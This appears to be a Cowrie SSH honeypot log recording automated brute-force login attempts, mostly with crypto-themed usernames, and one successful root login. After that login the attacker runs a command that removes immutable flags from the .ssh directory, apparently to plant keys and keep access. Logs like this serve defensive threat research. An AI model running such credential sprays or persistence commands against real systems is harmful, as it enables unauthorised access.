{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:11.213603Z","src_ip":"195.178.110.218","session":"a2f736bf5818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40426,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b40dfda8e16","protocol":"ssh","message":"New connection: 195.178.110.218:40426 (10.17.0.5:22) [session: 6b40dfda8e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:28.410025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:28.415144Z","src_ip":"195.178.110.218","session":"6b40dfda8e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:28.495186Z","src_ip":"195.178.110.218","session":"6b40dfda8e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:28.733617Z","src_ip":"195.178.110.218","session":"6b40dfda8e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:29.815415Z","src_ip":"195.178.110.218","session":"6b40dfda8e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55388,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b5a1994467","protocol":"ssh","message":"New connection: 193.32.162.145:55388 (159.203.135.109:22) [session: b5b5a1994467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:32.967727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:32.972372Z","src_ip":"193.32.162.145","session":"b5b5a1994467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:33.080939Z","src_ip":"193.32.162.145","session":"b5b5a1994467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:33.395426Z","src_ip":"193.32.162.145","session":"b5b5a1994467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:34.506295Z","src_ip":"193.32.162.145","session":"b5b5a1994467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49470,"dst_ip":"159.203.135.109","dst_port":22,"session":"374f178364de","protocol":"ssh","message":"New connection: 2.57.122.96:49470 (159.203.135.109:22) [session: 374f178364de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:06.643389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:06.648676Z","src_ip":"2.57.122.96","session":"374f178364de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:06.752846Z","src_ip":"2.57.122.96","session":"374f178364de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"eigen","message":"login attempt [eigen/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:07.064624Z","src_ip":"2.57.122.96","session":"374f178364de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:08.172916Z","src_ip":"2.57.122.96","session":"374f178364de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46384,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc8fccbbc0ad","protocol":"ssh","message":"New connection: 193.32.162.145:46384 (159.203.135.109:22) [session: bc8fccbbc0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:52.710873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:52.716028Z","src_ip":"193.32.162.145","session":"bc8fccbbc0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:52.818465Z","src_ip":"193.32.162.145","session":"bc8fccbbc0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:53.193456Z","src_ip":"193.32.162.145","session":"bc8fccbbc0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:54.297588Z","src_ip":"193.32.162.145","session":"bc8fccbbc0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56652,"dst_ip":"159.203.135.109","dst_port":22,"session":"6135ca382083","protocol":"ssh","message":"New connection: 195.178.110.218:56652 (159.203.135.109:22) [session: 6135ca382083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:59.349600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:59.353520Z","src_ip":"195.178.110.218","session":"6135ca382083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:59.431485Z","src_ip":"195.178.110.218","session":"6135ca382083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:42:59.655219Z","src_ip":"195.178.110.218","session":"6135ca382083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:00.732969Z","src_ip":"195.178.110.218","session":"6135ca382083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58864,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c01ad78d3e2","protocol":"ssh","message":"New connection: 195.178.110.218:58864 (10.17.0.5:22) [session: 6c01ad78d3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:18.308981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:18.314980Z","src_ip":"195.178.110.218","session":"6c01ad78d3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:18.396246Z","src_ip":"195.178.110.218","session":"6c01ad78d3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:18.642192Z","src_ip":"195.178.110.218","session":"6c01ad78d3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":48322,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3515018c1cf","protocol":"ssh","message":"New connection: 27.111.32.174:48322 (159.203.135.109:22) [session: f3515018c1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.432833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.435960Z","src_ip":"27.111.32.174","session":"f3515018c1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.683468Z","src_ip":"27.111.32.174","session":"f3515018c1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.722849Z","src_ip":"195.178.110.218","session":"6c01ad78d3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":46882,"dst_ip":"159.203.135.109","dst_port":22,"session":"0279544a4d49","protocol":"ssh","message":"New connection: 92.99.195.230:46882 (159.203.135.109:22) [session: 0279544a4d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.966016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:19.970437Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:20.173005Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dhkim","password":"1234","message":"login attempt [dhkim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:20.713242Z","src_ip":"27.111.32.174","session":"f3515018c1cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123456*","message":"login attempt [root/Aa123456*] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.017151Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.483571Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.486527Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.490432Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.696773Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:21.963782Z","src_ip":"27.111.32.174","session":"f3515018c1cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.138359Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
